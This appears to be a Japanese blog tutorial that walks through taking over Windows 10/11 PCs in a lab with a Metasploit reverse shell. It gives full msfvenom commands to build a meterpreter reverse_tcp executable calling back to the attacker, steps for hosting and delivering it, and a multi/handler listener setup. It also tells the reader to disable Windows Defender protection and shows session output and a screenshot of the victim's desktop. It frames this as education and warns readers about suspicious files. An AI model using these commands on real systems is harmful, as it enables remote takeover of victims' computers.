
ゆるいぞIT
今回はリバースシェルという攻撃手法(通信方法の一つ)も用いてWindows PCをハッキングする流れを試してみたいと思います。
※Youtubeでは動画版をご視聴いただけます。
- ハッキングスキルについて知りたい
- セキュリティの知識を学習したい
- ITインフラの知識を学習したい
※実務や演習等を除き、インターネット上のサーバへクラッキングすることは違法行為となりますのでご注意ください。
0.使用する環境

ゆるいぞIT
Kali Linux → Windows10・Windows11のPC へ攻撃(クラッキング)を実行します。
ソフトウェア
- 仮想環境 : Virtual Box
- 攻撃用サーバ : Kali Linux
- ターゲットPC① : Windows10(仮想ホスト/ゲストPC)
- ターゲットPC② : Windows11(物理ホスト/ホストPC)
演習環境

1.演習の流れ
WindowsPCに設置するリバースシェルのペイロードを作成
作成したペイロードをWindowsPCに設置
Kali Linuxでexploitを実行(待ち受け状態にする)
WindowsPCに設置したペイロードを実行してKali Linuxとのセッションを確立
2.用語の説明

ゆるいぞIT
まずは今回使用する”リバースシェル“と”ペイロード“について簡単に説明します。
リバースシェルとは?
リバースシェルとはターゲット(サーバやPC等)としているのホストから攻撃用のサーバにアクセスするという通信方法の一つになります。
一般的な攻撃は「攻撃サーバからターゲットホストに対してセッションを張って何かしらの攻撃を実行する」という流れになりますが、通常であれば通信経路上のFWやUTM製品、アンチウィルスソフトによって怪しい通信は遮断されてしまいます。
それを回避する為にターゲットホスト側に設置した悪意のあるプログラム(ペイロード)を用いて攻撃サーバに対して通信を張る攻撃方法のことをリバースシェルといいます。
ペイロードとは?
ペイロードとはエクスプロイト(攻撃)が成功した後に実行されるコードのことになります。
今回実施する演習であれば「ターゲットホストに設置したペイロードを実行することで攻撃サーバに対して通信を張る」という使い方になります。
簡単にいうと「ターゲットホストに仕込む悪意のあるプログラム」のことですね。
3.ペイロードの作成

ゆるいぞIT
前段で説明した内容も踏まえて、まずはKali Linuxでリバースシェルのペイロードを作成しましょう。
ペイロードを作成するためには「msfvenom」というコマンドを使用します。
msfvenomはシェルやペイロードをコマンド形式で作成できる便利なツールになっています。
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<攻撃サーバのIPアドレス> -f exe -o /<任意のフォルダ>/win10_payload.exe
-p : ベースとするペイロードの指定
-f : ファイルのフォーマット形式の指定
-o : 保存先の指定 ※ファイル(.exe)は任意の名前で問題ありません。
「Saved as: /<任意のフォルダ>/win10_payload.exe」ということでペイロードが作成されました。

“-p”で指定するペイロードはlistコマンドで確認することができます。
$ msfvenom –list payloads
今回使用したWindows以外にAndroid、IOS、LinuxといったようにOS毎でそれぞれ用意されています。
4.ペイロードの設置
ペイロードの作成が完了後、WindowsPCから取得できるようにアクセスできるディレクトリにファイルを移動します。
※本来であればメールやSMSなどを利用してターゲットホストに送り付けることになりますが、今回は演習ですので省略します。
$ cp /home/kali/payload/win10_payload.exe /var/www/html/share/
Kali LinuxのHTTPサーバを起動します。
$ service apache2 restart

ターゲットホストであるWindowsPCからKali Linuxのディレクトリにアクセスしてexeファイルをダウンロードします。
ブラウザを起動し「http://<Kali LinuxのIPアドレス>/share」にアクセスして”win10_payload.exe“をダウンロードします。

Windows Defenderによりダウンロードが停止した場合は「リアルタイム保護」をオフにします。

5.Kali Linuxの事前準備

ゆるいぞIT
ペイロード(.exe)を実行するとWindowsPCからKali Linuxにセッションが張られますので、それを受け取れるように待ち受け用のexplloit(プログラム)を実行します。
$ msfconsole
使用するエクスプロイトをセットします。
> use exploit/multi/handler
Kali LinuxのIPアドレスをセットします。
> set LHOST <Kali LinuxのIPアドレス>
待ち受け側のペイロードをセットします。
> set payload windows/x64/meterpreter/reverse_tcp
セットした設定を確認します。
> show options

> exploit -j -z
-j : ジョブとしてモジュールを実行する
-z : モジュールの実行が成功してMeterpreterセッションが確立しても、Meterpreterプロンプトにならずmsfプロンプトのままにする(セッションをバックグラウンドにする)
下記のようなメッセージが表示されたら成功です。
[*] Started reverse TCP handler on 10.0.0.2:4444 ※セッションの待ち受けが開始
msf exploit(multi/handler) > ※msfプロンプトが返ってくる。
6.ペイロードの実行

ゆるいぞIT
WindowsPCにダウンロードしたペイロード(.exe)を実行することでKali Linuxから操作可能な状態(操作権限の奪取)となります。
ペイロードを実行(ダブルクリック)します。

Windowsディフェンダーでブロックされた場合は「実行」をクリックします。

Kali Linuxのプロンプトにセッションが確立したログが表示されたら接続成功となります。
[*] Meterpreter session 1 opened (10.0.0.2:4444 -> 10.0.0.103:49811) at 2018-07-29 21:03:30 +0900
接続後はセッション一覧で状態を確認することができます。
msf exploit(multi/handler) > sessions -i

接続後にmeterpreter(メタプリタ)というツールを実行します。
先ほどセッション一覧で確認した「session 1」を指定することでmeterpreter(メタプリタ)に遷移します。

msf exploit(multi/handler) > sessions -i 1
meterpreterに遷移することでコマンドの実行が可能となります。

デスクトップのスクリーンショットも撮影できたりします。
スクショしたファイルはKali Linuxに保存されます。

今は”Windows10”での実施でしたが、”Windows11”で実行する場合も流れとしては同じになります。
ペイロードも同じものが使えるので作成したペイロードをWindows11上に配置して、今実施した流れと同じようにKali LinixとホストOSでセッションを張れば完了です。
7.最後に
今回の流れを見てもらった通り、WindowsPCの操作を奪うためには「仕込んだペイロードをPC側で実行する」という手間があるので簡単に実施できるものではありませんが、このペイロード(プログラム)ををアプリケーションやツールの中に仕込んだり、何かしらの方法で上手く誘導されて実行してしまうと、PCのセッションを奪われる状態になってしまいます。
ですので、怪しいリンクやファイルなどは不用意に実行しないことをオススメします。
ということで、今回はここまでにしたいと思います。
それではまた次回お会いしましょう!